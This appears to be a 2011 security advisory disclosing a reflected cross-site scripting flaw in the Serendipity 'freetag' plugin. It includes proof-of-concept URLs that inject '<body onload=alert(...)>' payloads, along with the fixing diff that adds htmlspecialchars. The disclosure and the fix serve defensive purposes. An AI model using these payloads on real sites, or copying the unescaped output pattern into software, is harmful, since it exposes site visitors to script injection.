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Cross-Site Scripting vulnerability in Serendipity Plugin "serendipity_event_freetag"

Advisory:              Cross-Site Scripting vulnerability in Serendipity Plugin 
"serendipity_event_freetag"
Advisory ID:           SSCHADV2011-004
Author:                Stefan Schurtz
Affected Software:     Successfully tested on: Serendipity 1.5.5 with 
serendipity_event_freetag - version 3.21 
Vendor URL:            http://www.s9y.org
Vendor Status:         Version 3.22 - Fix possible XSS
CVE-ID:                -

==========================
Vulnerability Description:
==========================

This is Cross-Site Scripting vulnerability

==================
Technical Details:
==================

http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body 
onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body 
onload=alert(String.fromCharCode(88,83,83))>

http://www.example.com/serendipity/index.php?/plugin/tag/<body 
onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/<body 
onload=alert(String.fromCharCode(88,83,83))>

=========
Solution:
=========

Update to the latest version 3.22

diff serendipity_event_freetag.php

< <?php #$Id: serendipity_event_freetag.php,v 1.148 2011/05/09 08:19:30 
garvinhicking Exp $
> <?php #$Id: serendipity_event_freetag.php,v 1.149 2011/05/30 20:25:24 
> garvinhicking Exp $

<  $propbag->add('version',       '3.21');
>  $propbag->add('version',       '3.22');

< $serendipity['smarty']->assign('freetag_tagTitle', 
is_array($this->displayTag) ? implode(' + ',$this->displayTag) : 
$this->displayTag);
>  $serendipity['smarty']->assign('freetag_tagTitle', 
> htmlspecialchars(is_array($this->displayTag) ? implode(' + 
> ',$this->displayTag) : $this->displayTag));

====================
Disclosure Timeline:
====================

30-May-2011 - informed developers
30-May-2011 - Release date of this security advisory
30-May-2011 - Version 3.22 - Fix possible XSS
31-May-2011 - post on BugTraq and Full-disclosure 

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.s9y.org
http://blog.s9y.org/archives/231-serendipity_event_freetag-Plugin-update,-XSS-bug.html
http://www.rul3z.de/advisories/SSCHADV2011-004.txt
http://ha.ckers.org/xss.html